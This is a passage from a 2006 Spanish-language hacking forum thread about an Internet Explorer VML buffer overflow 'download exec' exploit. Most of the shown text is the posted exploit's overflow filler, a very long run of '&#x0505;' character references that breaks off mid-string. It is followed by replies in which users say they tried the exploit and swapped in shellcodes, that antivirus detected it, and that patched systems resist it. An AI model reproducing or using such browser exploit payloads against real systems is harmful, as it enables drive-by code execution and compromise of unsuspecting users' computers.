;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&a
« Última modificación: 25 Septiembre 2006, 03:20 por [VolkS] » En línea

oRTNZ


Desconectado Desconectado

Mensajes: 808


no no soy malo... soy vicioso :p


Ver Perfil
Re: Internet Explorer VML Buffer Overflow Download Exec Exploit
« Respuesta #8 en: 25 Septiembre 2006, 20:55 »

Hola, despues que puso Vugo, el post del bug, ya no rulaba el codigo mi antivirus lo detecto al instante, nunca sirvio, despues testie en otra sin antivirus y nada de nada, xd probare de otra forma  :P, saludos
En línea

(31 del 12 de 2005) un dia que recuerdo siempre! :p
(03 del 08 de 2006) otro dia que lo recordare siempre...
Si eres Peruano, QUEDATE y si quieres ser de segunda mano del pais que fueras, pues LARGATE Y NO REGRESES...
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Internet Explorer VML Buffer Overflow Download Exec Exploit
« Respuesta #9 en: 26 Septiembre 2006, 01:36 »

Bueno, parece ser que ya lo han hecho correr efectivamente. Si quieren una explicación decente ->

http://sf-freedom.blogspot.com/2006/09/heap-spraying-exploiting-internet_24.html
« Última modificación: 26 Septiembre 2006, 06:25 por Sdc » En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
BenRu
The Prodigy


Desconectado Desconectado

Mensajes: 4.004


Ver Perfil
Re: Internet Explorer VML Buffer Overflow Download Exec Exploit
« Respuesta #10 en: 27 Septiembre 2006, 00:44 »

El code que puso Voks para sp2 no me funciono  :-\

A alguien le dio resultados?  :huh:
En línea
xDie


Desconectado Desconectado

Mensajes: 308



Ver Perfil
Re: Internet Explorer VML Buffer Overflow Download Exec Exploit
« Respuesta #11 en: 2 Octubre 2006, 00:56 »

Ya prove con dos shellcodes y ninguna andan...mmm  :-\ en sp1 demora mucho nose
En línea

Licence to kill!
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Internet Explorer VML Buffer Overflow Download Exec Exploit
« Respuesta #12 en: 2 Octubre 2006, 01:38 »

vean si no se descargaron el parche..
obviamente si ya estan parcheados, no van a ser vulnerables.

Saludos!!


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines